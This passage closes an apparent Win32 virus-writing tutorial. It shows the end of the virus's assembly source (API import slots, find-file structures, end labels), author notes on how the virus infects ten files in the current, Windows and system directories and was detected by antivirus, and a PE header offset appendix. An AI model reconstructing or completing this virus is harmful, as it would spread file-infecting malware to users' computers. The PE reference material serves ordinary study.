_FindNextFileA          dd  00000000h

_FindClose          dd  00000000h

_GetFileAttributesA       dd  00000000h

_SetFileAttributesA       dd  00000000h

_CreateFileA        dd  00000000h

_CreateFileMappingA     dd  00000000h

_CloseHandle           dd  00000000h

_MapViewOfFile         dd  00000000h

_SetFilePointer          dd  00000000h

_GetWindowsDirectoryA   dd  00000000h

_GetSystemDirectoryA        dd  00000000h

_GetCurrentDirectoryA        dd  00000000h

_SetCurrentDirectoryA        dd  00000000h

_UnMapViewOfFile       dd  00000000h

_SetEndOfFile           dd  00000000h

_GetModuleHandleA      dd  00000000h

_LoadLibraryA           dd  00000000h

_MessageBoxA          dd  00000000h

_ExitProcess        dd  00000000h

aGetProcAddress     dd  00000000h

 

FILETIME STRUC

FT_dwLowDateTime dd ?

FT_dwHighDateTime dd ?

FILETIME ENDS

 

WIN32_FIND_DATA label byte

WFD_dwFileAttributes DD ?

WFD_ftCreationTime FILETIME ?

WFD_ftLastAccessTime FILETIME ?

WFD_ftLastWriteTime FILETIME ?

WFD_nFileSizeHigh DD ?

WFD_nFileSizeLow DD ?

WFD_dwReserved0 DD ?

WFD_dwReserved1 DD ?

WFD_szFileName DB max_path DUP (?)

WFD_szAlternateFileName DB 13 DUP (?)

DB 3 DUP (?) ; dword padding

 

SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA

 

Virus_End   label    byte   

   

end vxstart

 

 

 

 

 

 

 

 

 

 

 

4.1       Notes

I think that all about the Win32 virus in ring3. It is just a simple direct action virus without any special features to hide itself like polymorphic, anti debug or junk code. I also cut the part of spreading through the network LAN and email sending. It is able to work in all Win32 platforms and infects 10 files in the current, windows and system directory. As I know that some parts of the virus still not clear but I can’t put everything here.

 

Another thing is I also do not include SEH (Structured Exception Handling) and worried that this virus will cause error when run on Windows platform. Plus, now there was new method Vectored Exception Handling in Windows XP and 2003…Anyhow, the basic concept of Win32 Virus is presented. Figure 4.1.1 is show that the virus detected by Norton Anti-Virus and Virus name is BloodHound.W32.1 (Unknown Virus). Please refer to

 

 

 


 

Figure 4.1.1 Unknown Virus

 

Lastly, many thanks go to group rrlf, blueowl and group F-13 Labs members. :)!!

 

 

 

 

 

 

 

 

 

 

 

 

 

APPENDIX:

PE File Formats Offsets

DOS MZ Header:

+00

WORD

e_magic

Magic Number MZ ($5A4D)

+02

WORD

e_cblp

Bytes on last page of file

+04

WORD

e_cp

Pages in file

+06

WORD

e_crlc

Relocations

+08

WORD

e_cparhdr

Size of header in paragraphs

+0A  (10)

WORD

e_minalloc

Minimum extra paragraphs needed

+0C  (12)

WORD

e_maxalloc

Maximum extra paragraphs needed

+0E  (14)

WORD

e_ss

Initial (relative) SS value

+10  (16)

WORD

e_sp

Initial SP value

+12  (18)

WORD

e_csum

Checksum

+14  (20)

WORD

e_ip

Initial IP value

+16  (22)

WORD

e_cs

Initial (relative) CS value

+18  (24)

WORD

e_lfarlc

File address of relocation table

+1A  (26)

WORD

e_ovno

Overlay number

+1C  (28)

Array[4] of WORD

e_res

Reserved words

+24  (36)

WORD

e_oemid

OEM identifier (for e_oeminfo)

+26  (28)

WORD

e_oeminfo

OEM information; e_oemid specific

+28  (40)

Array[10] of WORD

e_res2

Reserved words

+3C  (60)

DWORD

e_lfanew

File address of new exe header

PE Header:

+00

DWORD

Signature ($00004550)

+04

WORD

Machine

+06

WORD

Number of Sections

+08

DWORD

TimeDateStamp

+0C  (12)

DWORD

PointerToSymbolTable

+10  (16)

DWORD

NumberOfSymbols

+14  (20)

WORD

SizeOfOptionalHeader

+16  (22)

WORD

Characteristics

 

 

 

 

 

 

Optional Header:

 

- standard fields-

 

+18  (24)

WORD

Magic

+1A  (26)

BYTE

MajorLinkerVersion

+1B  (27)

BYTE

MinorLinkerVersion

+1C  (28)

DWORD

SizeOfCode

+20  (32)

DWORD

SizeOfInitializedData

+24  (36)

DWORD

SizeOfUnitializedData

+28  (40)

DWORD

AddressOfEntryPoint

+2C  (44)

DWORD

BaseOfCode

+30  (48)

DWORD

BaseOfData

 

-NT additional fields-

 

+34  (52)

DWORD

ImageBase

+38  (56)

DWORD

SectionAlignment

+3C (60)

DWORD

FileAlignment

+40  (64)

WORD

MajorOperatingSystemVersion

+42  (66)

WORD

MinorOperatingSystemVersion

+44  (68)

WORD

MajorImageVersion

+46  (70)

WORD

MinorImageVersion

+48  (72)

WORD

MajorSubsystemVersion

+4A  (74)

WORD

MinorSubsystemVersion

+4C  (76)

DWORD

Reserved1

+50  (80)

DWORD

SizeOfImage

+54  (84)

DWORD

SizeOfHeaders

+58  (88)

DWORD

CheckSum

+5C  (92)

WORD

Subsystem

+5E  (94)

WORD

DllCharacteristics

+60  (96)

DWORD

SizeOfStackReserve

+64  (100)

DWORD

SizeOfStackCommit

+68  (104)

DWORD

SizeOFHeapReserve

+6C  (108)

DWORD

SizeOfHeapCommit

+70  (112)

DWORD

LoaderFlags

+74  (116)

DWORD

NumberOfRvaAndSizes

+78  (120)

DWORD

ExportDirectory VA

+7C  (124)

DWORD

ExportDirectory Size

+80  (128)

DWORD

ImportDirectory VA

+84  (132)

DWORD

ImportDirectory Size

+88  (136)

DWORD

ResourceDirectory VA

+8C  (140)

DWORD

ResourceDirectory Size

+90  (144)

DWORD

ExceptionDirectory VA

+94  (148)

DWORD

ExceptionDirectory Size

+98  (152)

DWORD

SecurityDirectory VA

+9C  (156)

DWORD

SecurityDirectory Size

+A0  (160)

DWORD

BaseRelocationTable VA

+A4  (164)

DWORD

BaseRelocationTable Size

+A8  (168)

DWORD

DebugDirectory VA

+AC  (172)

DWORD

DebugDirectory Size

+B0  (176)

DWORD

ArchitectureSpecificData VA

+B4  (180)

DWORD

ArchitectureSpecificData Size

+B8  (184)

DWORD

RVAofGP VA

+BC  (188)

DWORD

RVAofGP Size

+C0  (192)

DWORD

TLSDirectory VA

+C4  (196)

DWORD

TLSDirectory Size

+C8  (200)

DWORD

LoadConfigurationDirectory VA

+CC  (204)

DWORD

LoadConfigurationDirectory Size

+D0  (208)

DWORD

BoundImportDirectoryinheaders VA

+D4  (212)

DWORD

BoundImportDirectoryinheaders Size

+D8  (216)

DWORD

ImportAddressTable VA

+DC  (220)

DWORD

ImportAddressTable Size

+E0  (224)

DWORD

DelayLoadImportDescriptors VA

+E4  (228)

DWORD

DelayLoadImportDescriptors Size

+E8  (232)

DWORD

COMRuntimedescriptor VA

+EC  (236)

DWORD

COMRuntimedescriptor Size

+F0  (240)

DWORD

0

+F4  (244)

DWORD

0

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Section Header:

+0

Array[8] of BYTE

Name

+08

DWORD

PhysicalAddress / Virtual Size

+0C

DWORD

VirtualAddress

+10  (16)

DWORD

SizeOfRawData

+14  (20)

DWORD

PointerToRawData

+18  (24)

DWORD

PointerToRelocations

+1C  (28)

DWORD

PointerToLineNumbers

+20  (32)

WORD

NumberOfRelocations

+22  (34)

WORD

NumberOfLineNumbers

+24  (36)

DWORD

Characteristics

 

 

 

Export Directory:

+0

DWORD

Characteristics

+04

DWORD

TimeDateStamp

+08

WORD

MajorVersion

+0A

WORD

MinorVersion

+0C

DWORD

Name

+10  (16)

DWORD

Base

+14  (20)

DWORD

NumberOfFunctions

+18  (24)

DWORD

NumberOfNumbers

+1C  (28)

DWORD

*AddressOfFunctions

+20  (32)

DWORD

*AddressOfNames

+24  (36)

DWORD

*AddressOfNameOrdinals

 

 

 

 

 

 

 

Import Directory:

+0

DWORD

OriginalFirstThunk

+04

DWORD

TimeDateStamp

+08

DWORD

ForwarderChain

+0C

DWORD

Name

+10

DWORD

FirstThunk

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(function,File,header,search,byte,attributes)